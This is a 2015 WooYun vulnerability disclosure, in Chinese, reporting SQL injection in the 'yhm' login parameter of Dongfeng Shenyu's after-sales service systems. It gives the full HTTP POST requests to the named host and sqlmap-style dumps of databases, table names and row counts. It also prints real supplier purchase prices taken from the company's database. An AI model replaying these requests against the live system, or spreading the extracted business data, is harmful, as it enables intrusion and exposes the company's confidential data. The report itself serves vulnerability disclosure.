当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0141875

漏洞标题：东风神宇汽车某系统SQL注入（汽车零件进价泄露）

相关厂商：dfyb.com

漏洞作者： 深度安全实验室

提交时间：2015-09-18 12:10

修复时间：2015-09-23 12:12

公开时间：2015-09-23 12:12

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-09-18： 细节已通知厂商并且等待厂商处理中
2015-09-23： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

rt

详细说明：

东风神宇车辆有限公司售后服务系统 新/旧系统登录处均有注入
注入1：新系统登录处存在sql注入，其中，yhm参数有问题

POST /syfw/login/login_clnew.asp HTTP/1.1
Host: www.dfsyqc.com
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:40.0) Gecko/20100101 Firefox/40.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://www.dfsyqc.com/syfw/loginnew.html
Cookie: ASPSESSIONIDQCQSTQTC=MJKFGHCBJNIMIILIPHHHELAC; Hm_lvt_a9bd54659f4a895624ba4a669a7ca977=1442501961; Hm_lpvt_a9bd54659f4a895624ba4a669a7ca977=1442502017
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
yhm=a&yhmm=1&btnLogin=%B5%C7%C2%BC


注入2：旧系统登录处存在sql注入，其中，yhm参数有问题

POST /syfw/login/login_cl.asp HTTP/1.1
Host: www.dfsyqc.com
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:40.0) Gecko/20100101 Firefox/40.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://www.dfsyqc.com/syfw/login.asp
Cookie: ASPSESSIONIDQCQSTQTC=MJKFGHCBJNIMIILIPHHHELAC; Hm_lvt_a9bd54659f4a895624ba4a669a7ca977=1442501961; Hm_lpvt_a9bd54659f4a895624ba4a669a7ca977=1442502226
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
yhm=a&yhmm=1&passcode=1413&Submit=%CC%E1%BD%BB

h.png


涉及17个库

i.png

漏洞证明：

以syass库为例，涉及1243个表

Database: syass
[1243 tables]
+--------------------------------------+
| CPKZFJB                              |
| EQ1030                               |
| GGXH                                 |
| GGXH_BAK                             |
| JZPZK_NEW                            |
| KMZD_bj                              |
| KMZ_NEW                              |
| LJCGQDMC                             |
| LS_CK                                |
| NJ                                   |


数百万数据泄露

Database: syass
+------------------------------------------+---------+
| Table                                    | Entries |
+------------------------------------------+---------+
| dbo.tbl_vac                              | 4326232 |
| dbo.tbl_vac_zzh                          | 3837310 |
| dbo.temp_tbl_vac                         | 3822849 |
| dbo.tbl_hsmxinfc                         | 3372867 |
| dbo.tbl_vac_null                         | 1255245 |
| dbo.essjddmx_td1                         | 886025  |
| dbo.v_jbxx                               | 635772  |
| dbo.essfile                              | 589819  |
| dbo.tbl_symxinfc                         | 292738  |
| dbo.temp_symxin                          | 272343  |
| dbo.LJCGQDMC                             | 268437  |
| dbo.V_BXGL_DOC                           | 206829  |


汽车维修真是暴利行业啊，进价1w,埋单的用户要掏9万多

Database: syass
Table: v_gys_price
[2 entries]
+------+----------+--------+----------+------------+------------------------------------------+
| pccc | ghje     | jzyd   | pcfhj    | ycpcdw     | gysdwmc                                  |
+------+----------+--------+----------+------------+------------------------------------------+
| 99   | 0.00     | 201510 | 9997.56  | zzxs       | 重庆市嘉卡变速箱有限公司                             |
| 85   | 10000.00 | 201201 | 93724.17 | LCHA       | 十堰海奥车桥有限公司-HA                            |
+------+----------+--------+----------+------------+------------------------------------------+


修复方案：

版权声明：转载请注明来源 深度安全实验室@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-09-23 12:12

厂商回复：

漏洞Rank：4 (WooYun评价)

最新状态：

暂无